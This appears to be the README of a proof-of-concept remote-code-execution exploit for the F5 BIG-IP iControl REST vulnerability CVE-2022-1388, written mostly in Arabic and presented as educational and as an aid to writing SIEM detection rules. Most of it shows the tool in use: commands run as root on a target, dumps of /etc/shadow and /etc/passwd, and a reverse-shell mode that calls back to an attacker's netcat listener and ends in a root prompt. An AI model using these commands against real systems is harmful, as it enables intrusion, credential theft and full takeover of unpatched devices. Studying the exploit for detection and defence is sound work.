
-- للاستخدام التعليمي فقط -- دليل على المفهوم RCE للثغرة CVE-2022-1388، بالإضافة إلى بعض الوظائف المضافة لفرق الأزرق والأحمر
المؤلف ليس مسؤولاً ولا يتحمل أي مسؤولية عن أي إجراءات تُتخذ باستخدام أي جانب من هذا المشروع/المستودع. لقد أنشأته بهدف فهم الهجوم وكذلك كتابة قواعد كشف داخل نظام SIEM، وأردت مشاركته ليتمكن الآخرون من فعل الشيء نفسه. استخدمه على مسؤوليتك الخاصة.
يستهدف هذا الاستغلال ثغرة iControl REST BIG-IP CVE-2022-1388 في أنظمة F5. يُرجى الاطلاع على إرشادات F5 (https://support.f5.com/csp/article/K23605346) للاطلاع على الإصدارات المتأثرة والمعلومات الأخرى.
لا تتردد في تقديم طلب سحب (PR) أو الإبلاغ عن أي مشكلات. تم اختبار هذا على عدد قليل من أجهزة F5 VE الضعيفة في Google Cloud من جهاز CentOS مع Python 3.6.
CVE-2022-1388.py [-h] -t TARGET -p PORT [-c CMD] [-s] [-e] [-lh LHOST] [-lp LPORT]
optional arguments:
-h, --help show this help message and exit
-t TARGET, --target TARGET, --RHOSTS TARGET
Target IP of vulnerable BIG-IP system
-p PORT, --port PORT, --RPORT PORT
Target port on vulnerable BIG-IP system
-c CMD, --cmd CMD, --command CMD
Command to run on target system
-e, --export, --tcpdump
Export captured traffic and ssl-key.log | **Requires sudo privileges!
-q, --quiet Don't display banner
-s, --shell Launch an interactive shell
-lh LHOST, --lhost LHOST, --LHOST LHOST
Required for -s [shell]; Local IP/interface to bind listener to
-lp LPORT, --lport LPORT, --LPORT LPORT
Required for -s [shell]; Local port to bind listener to
$ python3 CVE-2022-1388.py -t 10.142.0.10 -p 8443 -c id
===============================================================================================================
[+] CVE-2022-1388 Exploit affecting F5 BIG-IP
[+] Author: vaelwolf
[+] Remediation:
Upgrade to a patched version found in the vendor advisory: https://support.f5.com/csp/article/K23605346
[!] For educational use only! Use at your own risk.
===============================================================================================================
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0
$ python3 CVE-2022-1388.py -t 10.142.0.10 -p 8443 -c "cat /etc/shadow" -q
root:!!:18656:0:99999:7:::
bin:*:16479:0:99999:7:::
daemon:*:16479:0:99999:7:::
adm:*:16479:0:99999:7:::
lp:*:16479:0:99999:7:::
mail:*:16479:0:99999:7:::
uucp:*:16479:0:99999:7:::
[[ removed for brevity ]]
Attacker:
$ python3 CVE-2022-1388.py -t 10.142.0.10 -p 8443 -s -lh 10.142.0.8 -lp 4444
===============================================================================================================
[+] CVE-2022-1388 Exploit affecting F5 BIG-IP
[+] Author: vaelwolf
[+] Remediation:
Upgrade to a patched version found in the vendor advisory: https://support.f5.com/csp/article/K23605346
[!] For educational use only! Use at your own risk.
===============================================================================================================
[+] If you haven't already, please start your listener of choice on port 4444
[+] Press any key to continue...
[+] Exploit finished. If you launched a reverse shell listener, check there for your terminal!
Listener:
$ nc -lp 4444
bash: no job control in this shell
[@localhost:Active:Standalone] restjavad # whoami
whoami
root
تحديد العلم -e (--export) سينشئ ملفين: detection.pcap و ssl-key.log. سيتم استبدال هذين الملفين في كل مرة يتم فيها تحديد العلم -e، لذا تذكر نقل أو إعادة تسمية الملفات التي ترغب في الاحتفاظ بها. يمكن استيراد ملف ssl-key.log إلى Wireshark عبر Preferences -> Protocols -> TLS -> (Pre)-Master-Secret log filename لفك تشفير جلسة TLS. لاحظ أنه بسبب tcpdump، عند استخدام -e، يجب تشغيل السكريبت بصلاحيات sudo.
$ sudo python3 CVE-2022-1388.py -t 10.142.0.10 -p 8443 -c "cat /etc/passwd" -q -e
[+] Starting tcpdump on port 8443 for 5 seconds
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
[[ removed for brevity ]]
قبل فك تشفير TLS:
إضافة ملف ssl-key.log المُصدَّر تلقائيًا إلى تفضيلات TLS في Wireshark:
بعد فك تشفير TLS:
